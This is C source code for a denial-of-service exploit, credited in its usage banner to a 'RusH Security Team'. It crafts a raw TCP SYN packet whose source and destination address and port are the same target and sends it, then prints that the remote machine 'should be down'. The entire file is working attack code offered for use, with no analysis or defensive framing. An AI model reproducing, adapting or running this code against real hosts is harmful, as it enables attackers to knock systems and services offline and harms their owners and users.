//checksum function by r0ach
u_short checksum (u_short *addr, int len)
{
u_short *w = addr;
int i = len;
int sum = 0;
u_short answer;
while (i > 0)
{
sum += *w++;
i-=2;
}
if (i == 1) sum += *(u_char *)w;
sum = (sum >> 16) + (sum & 0xffff);
sum = sum + (sum >> 16);
return (~sum);
}
int main(int argc, char ** argv)
{
struct in_addr src, dst;
struct sockaddr_in sin;
struct _pseudoheader {
struct in_addr source_addr;
struct in_addr destination_addr;
u_char zero;
u_char protocol;
u_short length;
} pseudoheader;
struct ip * iph;
struct tcphdr * tcph;
int mysock;
u_char * packet;
u_char * pseudopacket;
int on = 1;
if( argc != 3)
{
fprintf(stderr, "r57windos.c by __blf\n");
fprintf(stderr, "RusH Security Team\n");
fprintf(stderr, "Usage: %s <dest ip> <dest port>\n", argv[0]);
return EX_USAGE;
}
if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr))) == NULL)
{
perror("malloc()\n");
return EX_OSERR;
}
inet_aton(argv[1], &src);
inet_aton(argv[1], &dst);
iph = (struct ip *) packet;
iph->ip_v = IPVERSION;
iph->ip_hl = 5;
iph->ip_tos = 0;
iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr));
iph->ip_off = htons(IP_DF);
iph->ip_ttl = 255;
iph->ip_p = IPPROTO_TCP;
iph->ip_sum = 0;
iph->ip_src = src;
iph->ip_dst = dst;
tcph = (struct tcphdr *)(packet +sizeof(struct ip));
tcph->th_sport = htons(atoi(argv[2]));
tcph->th_dport = htons(atoi(argv[2]));
tcph->th_seq = ntohl(rand());
tcph->th_ack = rand();
tcph->th_off = 5;
tcph->th_flags = TH_SYN; // setting up TCP SYN flag here
tcph->th_win = htons(512);
tcph->th_sum = 0;
tcph->th_urp = 0;
pseudoheader.source_addr = src;
pseudoheader.destination_addr = dst;
pseudoheader.zero = 0;
pseudoheader.protocol = IPPROTO_TCP;
pseudoheader.length = htons(sizeof(struct tcphdr));
if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr))) == NULL)
{
perror("malloc()\n");
return EX_OSERR;
}
memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader));
memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr));
tcph->th_sum = checksum((u_short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr));
mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
if(!mysock)
{
perror("socket!\n");
return EX_OSERR;
}
if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
{
perror("setsockopt");
shutdown(mysock, 2);
return EX_OSERR;
}
sin.sin_family = PF_INET;
sin.sin_addr = dst;
sin.sin_port = htons(80);
if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr), 0, (struct sockaddr *)&sin, sizeof(sin)) == -1)
{
perror("sendto()\n");
shutdown(mysock, 2);
return EX_OSERR;
}
printf("Packet sent. Remote machine should be down.\n");
shutdown(mysock, 2);
return EX_OK;
}